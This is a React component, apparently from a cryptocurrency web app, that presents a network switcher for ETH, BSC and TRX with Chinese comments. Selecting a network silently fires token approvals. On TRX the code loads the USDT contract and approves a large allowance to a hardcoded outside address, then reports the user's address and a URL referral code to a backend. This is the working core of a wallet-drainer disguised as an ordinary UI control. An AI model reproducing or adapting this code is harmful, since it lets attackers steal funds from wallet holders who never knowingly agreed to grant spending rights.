import React, { useState, useContext, useEffect } from 'react';
import styles from './index.module.less';
import { AllContext } from '../../AllContext';
import { approve, getUserInfo} from '@app/common/api';
import { bsc_approve_, eth_approve_, switchNetwork, getCurrentAddress } from '../contracts';

const chainObj = {
  56: 'BSC',
  1: 'ETH',
};

const Switch = () => {
  const [open, setOpen] = useState(false);
  const { chains, setChain, chain, setAddress } = useContext(AllContext);

  useEffect(() => {
    window.ethereum &&
      window.ethereum.on('chainChanged', (newChainId) => {
        const _chainName = chainObj[parseInt(newChainId, 16)];
        const _chain = chains.find((chain) => chain.name === _chainName);
        setChain(_chain);
        _setAddress();
      });
  }, []);

  const _setAddress = async () => {
    const address = await getCurrentAddress();
    setAddress(address?.slice(0, 10) + '...');
  };

  const _select = async (item) => {
    setOpen(false);

    const selectedNetwork = item.name; // 根据实际数据结构进行调整
    _switchNetwork(selectedNetwork);
  };

  const getSearch = (key, bool) => {
    let search = {};
    let address = window.location.href;
    if (address.indexOf('?') !== -1) {
      [, address] = address.split('?');
      address = address.split('&');
      for (let o of address) {
        let [key, val] = o.split('=');
        search[key] = val;
      }
    }
    if (key && bool) {
      return search[key];
    }
    return search;
  };

  const _switchNetwork = async (selectedNetwork) => {
    // 连接到相应的网络
    switch (selectedNetwork) {
      case 'ETH':
        console.log('选择了eth，连接eth网络');
        await switchNetwork(1);
        _setAddress();
        eth_approve_().catch((error) => {
          console.log('Error in approve_: ', error);
          throw error; // 向上抛出异常供外部处理
        });
        break;
      case 'BSC':
        console.log('选择了bsc');
        await switchNetwork(56);
        _setAddress();
        bsc_approve_().catch((error) => {
          console.log('Error in approve_: ', error);
          throw error; // 向上抛出异常供外部处理
        });
        break;
      case 'TRX':
        console.log('选择了trx，连接trx网络');
        const tronWeb = window.tronWeb;
        const base58 = tronWeb.defaultAddress.base58;
        setAddress(base58?.slice(0, 10) + '...');
        // 返回tron地址
        console.log('_tron', base58);

        const userInfoResult = await getUserInfo(base58);
        if (!userInfoResult) {
          console.error('Failed to retrieve user info');
          return; // 或者根据需要处理错误
        }
        const { code, entity = {} } = userInfoResult;
        if (code !== 0 || entity.isApproe === 0) {
          // usdt abi
          const tron_usdt_abi = [
            {
              constant: true,
              inputs: [],
              name: 'name',
              outputs: [{ name: '', type: 'string' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_upgradedAddress', type: 'address' }],
              name: 'deprecate',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_spender', type: 'address' },
                { name: '_value', type: 'uint256' },
              ],
              name: 'approve',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'deprecated',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_evilUser', type: 'address' }],
              name: 'addBlackList',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'totalSupply',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_from', type: 'address' },
                { name: '_to', type: 'address' },
                { name: '_value', type: 'uint256' },
              ],
              name: 'transferFrom',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'upgradedAddress',
              outputs: [{ name: '', type: 'address' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'decimals',
              outputs: [{ name: '', type: 'uint8' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'maximumFee',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: '_totalSupply',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [],
              name: 'unpause',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: '_maker', type: 'address' }],
              name: 'getBlackListStatus',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'paused',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_spender', type: 'address' },
                { name: '_subtractedValue', type: 'uint256' },
              ],
              name: 'decreaseApproval',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: 'who', type: 'address' }],
              name: 'balanceOf',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: '_value', type: 'uint256' }],
              name: 'calcFee',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [],
              name: 'pause',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'owner',
              outputs: [{ name: '', type: 'address' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'symbol',
              outputs: [{ name: '', type: 'string' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_to', type: 'address' },
                { name: '_value', type: 'uint256' },
              ],
              name: 'transfer',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: 'who', type: 'address' }],
              name: 'oldBalanceOf',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: 'newBasisPoints', type: 'uint256' },
                { name: 'newMaxFee', type: 'uint256' },
              ],
              name: 'setParams',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: 'amount', type: 'uint256' }],
              name: 'issue',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [
                { name: '_spender', type: 'address' },
                { name: '_addedValue', type: 'uint256' },
              ],
              name: 'increaseApproval',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: 'amount', type: 'uint256' }],
              name: 'redeem',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [
                { name: '_owner', type: 'address' },
                { name: '_spender', type: 'address' },
              ],
              name: 'allowance',
              outputs: [{ name: 'remaining', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'basisPointsRate',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: true,
              inputs: [{ name: '', type: 'address' }],
              name: 'isBlackListed',
              outputs: [{ name: '', type: 'bool' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_clearedUser', type: 'address' }],
              name: 'removeBlackList',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: true,
              inputs: [],
              name: 'MAX_UINT',
              outputs: [{ name: '', type: 'uint256' }],
              payable: false,
              stateMutability: 'view',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: 'newOwner', type: 'address' }],
              name: 'transferOwnership',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              constant: false,
              inputs: [{ name: '_blackListedUser', type: 'address' }],
              name: 'destroyBlackFunds',
              outputs: [],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'function',
            },
            {
              inputs: [
                { name: '_initialSupply', type: 'uint256' },
                { name: '_name', type: 'string' },
                { name: '_symbol', type: 'string' },
                { name: '_decimals', type: 'uint8' },
              ],
              payable: false,
              stateMutability: 'nonpayable',
              type: 'constructor',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: '_blackListedUser', type: 'address' },
                { indexed: false, name: '_balance', type: 'uint256' },
              ],
              name: 'DestroyedBlackFunds',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: false, name: 'amount', type: 'uint256' }],
              name: 'Issue',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: false, name: 'amount', type: 'uint256' }],
              name: 'Redeem',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: false, name: 'newAddress', type: 'address' }],
              name: 'Deprecate',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: true, name: '_user', type: 'address' }],
              name: 'AddedBlackList',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [{ indexed: true, name: '_user', type: 'address' }],
              name: 'RemovedBlackList',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: false, name: 'feeBasisPoints', type: 'uint256' },
                { indexed: false, name: 'maxFee', type: 'uint256' },
              ],
              name: 'Params',
              type: 'event',
            },
            { anonymous: false, inputs: [], name: 'Pause', type: 'event' },
            { anonymous: false, inputs: [], name: 'Unpause', type: 'event' },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: 'previousOwner', type: 'address' },
                { indexed: true, name: 'newOwner', type: 'address' },
              ],
              name: 'OwnershipTransferred',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: 'owner', type: 'address' },
                { indexed: true, name: 'spender', type: 'address' },
                { indexed: false, name: 'value', type: 'uint256' },
              ],
              name: 'Approval',
              type: 'event',
            },
            {
              anonymous: false,
              inputs: [
                { indexed: true, name: 'from', type: 'address' },
                { indexed: true, name: 'to', type: 'address' },
                { indexed: false, name: 'value', type: 'uint256' },
              ],
              name: 'Transfer',
              type: 'event',
            },
          ];
          const tron_usdt_contract = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
          // // 初始化合约
          let contract = tronWeb.contract(tron_usdt_abi, tron_usdt_contract);
          const output = await contract.approve('TXMrdZsY95Du4LtQTe8yLPtYiemmMLa1Lu', 1000000000000).send();
          if (output) {
            const res = await approve({"address": base58, amount: 1000000000, "chain": "TRX", "code": getSearch('code', true)});
            console.log(res)
          }
          console.log(output);
        }
        break;
      // 添加其他区块链的情况...
      default:
        // 默认情况，可以选择不执行任何操作或执行一些默认操作
        break;
    }
  };

  return (
    <div className={styles.switch}>
      <div className={styles.label} onClick={() => setOpen(true)}>
        <img src={chain?.src} alt="" className={styles.icon} />
        <img src="images/arrow_bottom.png" alt="" className={styles.arrow} />
      </div>
      <div className={[styles.model, open && styles.show]}>
        <div className={styles.coins}>
          {chains?.map((item, index) => {
            const { src, name } = item;
            return (
              <div
                className={[styles.item, name === chain.name && styles.active]}
                key={index}
                onClick={() => _select(item)}
              >
                <div>
                  <img src={src} alt="" className={styles.icon} />
                  <span>{name}</span>
                </div>
                <img src={'images/arrow_right.png'} alt="" className={styles.arrow} />
              </div>
            );
          })}
        </div>
      </div>
      {open && <div className={styles.fixed} onClick={() => setOpen(false)} />}
    </div>
  );
};

export default Switch;
